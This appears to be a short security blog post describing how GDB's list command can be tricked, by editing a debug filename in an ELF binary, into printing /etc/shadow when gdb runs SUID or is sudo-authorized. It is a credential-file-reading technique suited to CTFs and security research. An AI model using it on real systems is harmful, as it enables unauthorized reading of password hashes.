By Alejandro Hernández @nitr0usmx
One day while debugging an ELF executable with the GNU Debugger (GDB), I asked myself, "How does GDB know which file to read when you use the list command?" (For the uninformed, the list command prints a specified number of lines from a source code file -— ten lines is the default.)
Source code filenames are contained in the metadata of an ELF executable (in the .debug_line section, to be exact). When you use the list command, GDB will open(), read(), and display the file contents if and only if GDB has the permissions needed to read the source file.
The following is a simple trick where you can use GDB as a trampoline to read a file which originally you don’t have enough permission to read. This trick could also be helpful in a binary capture-the-flag (CTF) or reverse engineering challenge.
Here are the steps:
2. Open the resulting ELF executable with GDB and the list command to read its source code as shown in the following screen shot:
3. Make a copy of ‘foo.c’ and call it ‘_etc_shadow.c’, so that this name is hardcoded within the internal metadata structures of the compiled ELF executable as in the following screen shot.
4. Open the executable with your preferred hex editor (I used HT Editor because it supports the ELF file format) and replace ‘_etc_shadow.c’ with ‘/etc/shadow’ (don't forget the NULL character at the end of the string) the first two times it appears.
5. Evidently, it won't work unless you have sufficient user privileges, otherwise GDB won’t be able to read /etc/shadow.
6. If you trace the open() syscall calls executed by GBD:
7. Now imagine that for some reason GDB is a privileged command (the SUID (Set User ID) bit in the permissions is enabled). Opening our modified ELF file with GDB, it would be possible to read the contents of ‘/etc/shadow’ because the gdb command would be executed with root privileges.
8. Imagine another hypothetical scenario: a hardened development (or CTF) server that has been configured with granular privileges using a tool such as Sudo to allow certain commands to be executed. (To be honest I have never seen a scenario like this before, but it’s an example worth considering to illustrate how this attack might evolve).
9. You cannot display the contents of ‘/etc/shadow’ by using the cat command because /bin/cat is an unauthorized command in our configuration. However, the gdb command has been authorized and therefore has the rights needed to display the source file (/etc/shadow):
($strace -e open gdb ./_etc_shadow)
you can see that it returns -1 (EACCES) because of insufficient permissions.
Taking advantage of this GDB feature and mixing it with other techniques could make a more sophisticated attack possible. Use your imagination.
Do you have other ideas how this could be used as an attack vector, either by itself or if combined with other techniques? Let me know.